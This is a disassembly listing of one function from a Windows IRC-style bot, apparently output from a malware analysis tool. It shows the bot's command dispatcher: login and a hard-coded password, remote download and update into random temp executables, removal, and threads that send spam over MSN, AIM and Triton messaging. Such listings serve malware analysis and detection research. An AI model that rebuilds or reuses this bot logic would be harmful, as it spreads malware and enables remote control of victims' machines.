Function at 0x4013d4
Capabilities:
Create thread
Get common file path
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c4
push ebx
xor ebx, ebx
cmp dword [ebp + 0x6c], ebx
push esi
mov esi, dword [ebp + 8]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_lstrcmpiA]
je 0x4014b7
push dword [esi]
push str.login
call edi
test eax, eax
je 0x401bcf
push dword [esi]
push 0x4061f4
call edi
test eax, eax
je 0x401bcf
push dword [esi]
push str.logout
call edi
test eax, eax
je 0x401bcf
push dword [esi]
push 0x40620c
call edi
test eax, eax
je 0x401bcf
push dword [esi]
push 0x406228
call edi
test eax, eax
je 0x401482
push dword [esi]
push str.download
call edi
test eax, eax
je 0x401482
push dword [esi]
push str.update
call edi
test eax, eax
je 0x401482
push dword [esi]
push str.gone
call edi
test eax, eax
je 0x401bcf
push dword [esi]
push str.rmzerm3b1tch
call edi
test eax, eax
jne 0x4014b7
jmp 0x401bcf
mov esi, dword [ebp + 0x14]
push str.main__
push str.___Security___._Lamer_detected._coming_back_in_24hrs__download_and_update_disabled.
push dword [esi + 0xc]
push dword [ebp + 0x18]
call fcn.00402951
push dword [esi + 8]
push dword [esi + 4]
push dword [esi]
push str.Removed_by:__s__s__s
push dword [ebp + 0x18]
call fcn.0040261c
add esp, 0x24
jmp 0x401b58
cmp dword [ebp + 0x28], ebx
je 0x401542
push dword [esi]
push str.threads
call edi
test eax, eax
je 0x401539
push dword [esi]
push 0x406200
call edi
test eax, eax
je 0x401539
push dword [esi]
push str.r.getfile
call edi
test eax, eax
je 0x401532
push dword [esi]
push str.r.new
call edi
test eax, eax
je 0x401532
push dword [esi]
push str.r.update
call edi
test eax, eax
je 0x40150e
push dword [esi]
push str.r.upd4te
call edi
test eax, eax
jne 0x401542
push str.Update
push 4
push ebx
mov eax, dword [ebp + 0x14]
push dword [ebp + 0x24]
push dword [ebp + 0x1c]
push dword [ebp + 0x18]
push dword [eax + 0xc]
call fcn.0040480a
add esp, 0x1c
jmp 0x401bcf
push str.Download
jmp 0x401513
push str.Thread_list
push 3
jmp 0x401515
push str.login
push dword [esi]
call edi
test eax, eax
je 0x401baf
push 0x4061f4
push dword [esi]
call edi
test eax, eax
je 0x401baf
push str.gone
push dword [esi]
call edi
test eax, eax
je 0x401b5c
push str.rmzerm3b1tch
push dword [esi]
call edi
test eax, eax
je 0x401b5c
push dword [esi]
push str.msn.msg
call edi
test eax, eax
jne 0x40162b
mov eax, dword [ebp + 0x18]
mov dword [ebp - 0xbc], eax
mov eax, dword [ebp + 0x1c]
mov dword [ebp - 8], eax
mov eax, dword [ebp + 0x24]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp + 0x14]
push dword [eax + 0xc]
lea eax, [ebp - 0xb8]
push eax
call sub.MSVCRT.dll_strcpy
push 0x20
push dword [ebp + 0x10]
call dword [sym.imp.MSVCRT.dll_strchr]
add esp, 0x10
cmp eax, ebx
je 0x401bcf
push str.MSN_Threads
push 6
mov dword [ebp - 0x34], eax
call fcn.0040466a
pop ecx
mov dword [ebp - 0x38], eax
pop ecx
lea eax, [ebp + 0x6c]
push eax
lea eax, [ebp - 0xbc]
push ebx
push eax
push 0x4036dd
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [ebp - 0x38]
imul ecx, ecx, 0x218
cmp eax, ebx
mov dword [ecx + 0x408ef8], eax
je 0x401b58
cmp dword [ebp - 4], ebx
jne 0x401b58
push 0x32
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x401618
push dword [esi]
push str.msn.stop
call edi
test eax, eax
jne 0x401661
push 1
push 5
call fcn.0040478c
push str.msn__
mov eax, dword [ebp + 0x14]
push str._s_Thread_Disabled.
push dword [eax + 0xc]
push dword [ebp + 0x18]
call fcn.00402951
add esp, 0x18
jmp 0x401b58
push dword [esi]
push str.aim.msg
call edi
test eax, eax
jne 0x401719
mov eax, dword [ebp + 0x18]
push 0x20
push dword [ebp + 0x10]
mov dword [ebp - 0xbc], eax
mov eax, dword [ebp + 0x1c]
mov dword [ebp - 8], eax
mov eax, dword [ebp + 0x24]
mov dword [ebp - 0xc], eax
call dword [sym.imp.MSVCRT.dll_strchr]
pop ecx
cmp eax, ebx
pop ecx
je 0x401bcf
push str.AIM_Threads
push 7
mov dword [ebp - 0x34], eax
call fcn.0040466a
pop ecx
mov dword [ebp - 0x38], eax
pop ecx
lea eax, [ebp + 0x6c]
push eax
lea eax, [ebp - 0xbc]
push ebx
push eax
push section..text
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [ebp - 0x38]
imul ecx, ecx, 0x218
cmp eax, ebx
mov dword [ecx + 0x408ef8], eax
je 0x4016f5
cmp dword [ebp - 4], ebx
jne 0x4016eb
push 0x32
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x4016dc
push str.aim__
jmp 0x4017a8
push dword [esi]
push str.aim.stop
call edi
test eax, eax
jne 0x401b58
push 1
push 7
call fcn.0040478c
push str.aim__
jmp 0x401646
push dword [esi]
push str.triton.msg
call edi
test eax, eax
jne 0x4017e7
mov eax, dword [ebp + 0x18]
push 0x20
push dword [ebp + 0x10]
mov dword [ebp - 0xbc], eax
mov eax, dword [ebp + 0x1c]
mov dword [ebp - 8], eax
mov eax, dword [ebp + 0x24]
mov dword [ebp - 0xc], eax
call dword [sym.imp.MSVCRT.dll_strchr]
pop ecx
cmp eax, ebx
pop ecx
je 0x401bcf
push str.TIM_Threads
push 8
mov dword [ebp - 0x34], eax
call fcn.0040466a
pop ecx
mov dword [ebp - 0x38], eax
pop ecx
lea eax, [ebp + 0x6c]
push eax
lea eax, [ebp - 0xbc]
push ebx
push eax
push 0x40491d
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [ebp - 0x38]
imul ecx, ecx, 0x218
cmp eax, ebx
mov dword [ecx + 0x408ef8], eax
je 0x4017c3
cmp dword [ebp - 4], ebx
jne 0x4017a3
push 0x32
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x401794
push str.triton__
mov eax, dword [ebp + 0x14]
push str._s_Thread_Activated:_Sending_Message.
push dword [eax + 0xc]
push dword [ebp + 0x18]
call fcn.00402951
add esp, 0x10
jmp 0x401b58
push dword [esi]
push str.triton.stop
call edi
test eax, eax
jne 0x401b58
push 1
push 8
call fcn.0040478c
push str.triton__
jmp 0x401646
push dword [esi]
push str.download
call edi
test eax, eax
je 0x401b25
push dword [esi]
push str.update
call edi
test eax, eax
je 0x401b25
push dword [esi]
push 0x406228
call edi
test eax, eax
je 0x401b25
push dword [esi]
push str.r.getfile
call edi
test eax, eax
je 0x401a0e
push dword [esi]
push str.r.new
call edi
test eax, eax
je 0x401a0e
push dword [esi]
push str.r.update
call edi
test eax, eax
je 0x40185a
push dword [esi]
push str.r.upd4te
call edi
test eax, eax
jne 0x401b58
cmp dword [esi + 4], ebx
jne 0x401872
cmp dword [ebp + 0x1c], ebx
jne 0x401bcf
push str.update__
jmp 0x401b1b
mov eax, dword [esi + 8]
cmp eax, ebx
je 0x401889
push eax
push str.botw00tbotw00tb
call edi
test eax, eax
je 0x401bcf
push 4
call fcn.0040487a
cmp eax, ebx
pop ecx
jle 0x4018c4
cmp dword [ebp + 0x1c], ebx
jne 0x401bcf
push eax
push str.transfer_thread
push str.update__
push str._s__s_already_running:___d_.
mov eax, dword [ebp + 0x14]
push dword [eax + 0xc]
push dword [ebp + 0x18]
call fcn.00402951
add esp, 0x18
jmp 0x401bcf
lea eax, [ebp - 0x2c4]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
mov edi, dword [sym.imp.MSVCRT.dll_rand]
call edi
push 9
cdq
pop ecx
idiv ecx
push edx
call edi
push 9
cdq
pop ecx
idiv ecx
push edx
call edi
push 9
cdq
pop ecx
idiv ecx
push edx
call edi
push 9
cdq
pop ecx
idiv ecx
push edx
call edi
push 9
cdq
pop ecx
idiv ecx
lea eax, [ebp - 0x2c4]
push edx
push eax
lea eax, [ebp - 0x1c0]
push str._seraseme__d_d_d_d_d.exe
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
mov eax, dword [ebp + 0x18]
mov dword [ebp - 0xbc], eax
mov eax, dword [ebp + 0x1c]
mov dword [ebp - 8], eax
mov eax, dword [ebp + 0x24]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp + 0x14]
push dword [eax + 0xc]
lea eax, [ebp - 0xb8]
push eax
call sub.MSVCRT.dll_strcpy
lea ecx, [ebp - 0x1c0]
mov eax, dword [esi + 4]
mov dword [ebp - 0x30], ecx
xor ecx, ecx
cmp dword [esi + 0xc], ebx
mov edi, str.update__
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x28], 1
setne cl
mov dword [ebp - 0x1c], ecx
lea ecx, [ebp - 0x1c0]
push ecx
push eax
push edi
push str._s_Downloading_update_from:__s_to:__s.
push 4
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x20], ebx
call fcn.0040466a
add esp, 0x3c
mov dword [ebp - 0x38], eax
lea eax, [ebp + 0x6c]
push eax
lea eax, [ebp - 0xbc]
push ebx
push eax
push 0x401bd7
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [ebp - 0x38]
imul ecx, ecx, 0x218
cmp eax, ebx
mov dword [ecx + 0x408ef8], eax
je 0x4019ee
cmp dword [ebp - 4], ebx
jne 0x4019cb
push 0x32
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x4019bc
cmp dword [ebp + 0x1c], ebx
jne 0x401bcf
cmp dword [ebp + 0x24], ebx
je 0x401bcf
push dword [ebp - 0x30]
push dword [esi + 4]
push edi
push str._s_Downloading_update_from:__s_to:__s.
jmp 0x4018ae
cmp dword [ebp + 0x1c], ebx
jne 0x401bcf
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.transfer_thread
push edi
push str._s_Fail_start__s__err:___d_.
jmp 0x4018ae
cmp dword [esi + 4], ebx
je 0x401b0d
cmp dword [esi + 8], ebx
je 0x401b0d
push 4
call fcn.0040487a
cmp eax, ebx
pop ecx
jle 0x401a45
cmp dword [ebp + 0x1c], ebx
jne 0x401bcf
push eax
push str.transfer_thread
push str.download__
jmp 0x4018a9
mov eax, dword [ebp + 0x18]
mov dword [ebp - 0xbc], eax
mov eax, dword [ebp + 0x1c]
mov dword [ebp - 8], eax
mov eax, dword [ebp + 0x24]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp + 0x14]
push dword [eax + 0xc]
lea eax, [ebp - 0xb8]
push eax
call sub.MSVCRT.dll_strcpy
mov edi, dword [esi + 8]
mov eax, dword [esi + 4]
xor ecx, ecx
cmp dword [esi + 0xc], ebx
mov dword [ebp - 0x30], edi
push edi
setne cl
mov dword [ebp - 0x24], ecx
xor ecx, ecx
cmp dword [esi + 0x10], ebx
mov edi, str.download__
push eax
push edi
setne cl
push str._s_Downloading_URL:__s_to:__s.
push 4
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x20], ecx
call fcn.0040466a
add esp, 0x1c
mov dword [ebp - 0x38], eax
lea eax, [ebp + 0x6c]
push eax
lea eax, [ebp - 0xbc]
push ebx
push eax
push 0x401bd7
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [ebp - 0x38]
imul ecx, ecx, 0x218
cmp eax, ebx
mov dword [ecx + 0x408ef8], eax
je 0x4019ee
cmp dword [ebp - 4], ebx
jne 0x401aea
push 0x32
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x401adb
cmp dword [ebp + 0x1c], ebx
jne 0x401bcf
cmp dword [ebp + 0x24], ebx
je 0x401bcf
push dword [esi + 8]
push dword [esi + 4]
push edi
push str._s_Downloading_URL:__s_to:__s.
jmp 0x4018ae
cmp dword [ebp + 0x1c], ebx
jne 0x401bcf
push str.download__
push str._s_mis_param.
jmp 0x401bbe
mov esi, dword [ebp + 0x14]
push str.___Security___._Lamer_detected._coming_back_next_reboot__cya.
push dword [esi + 0xc]
push dword [ebp + 0x18]
call fcn.00402951
push dword [esi + 8]
push dword [esi + 4]
push dword [esi]
push str.Removed_by:__s__s__s
push dword [ebp + 0x18]
call fcn.0040261c
mov ecx, dword [ebp + 0x18]
add esp, 0x20
call fcn.004025ea
xor eax, eax
jmp 0x401bd2
push ebx
push ebx
call fcn.00405487
cmp dword [ebp + 0x1c], ebx
pop ecx
pop ecx
jne 0x401b72
mov eax, dword [ebp + 0x14]
push dword [eax + 8]
jmp 0x401b7a
mov eax, dword [ebp + 0x14]
push 0x407410
push dword [eax + 4]
push dword [eax]
push str.Removed_by:__s__s__s
push dword [ebp + 0x18]
call fcn.0040261c
add esp, 0x14
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [ebp + 0x18]
call fcn.004025ea
call dword [0x4089e4]
push ebx
call dword [sym.imp.KERNEL32.dll_ExitProcess]
cmp dword [ebp + 0x24], ebx
je 0x401bcf
push str.main__
push str._s_logged_in.
mov eax, dword [ebp + 0x14]
push dword [eax + 0xc]
push dword [ebp + 0x18]
call fcn.00402951
add esp, 0x10
push 1
pop eax
pop edi
pop esi
pop ebx
leave
ret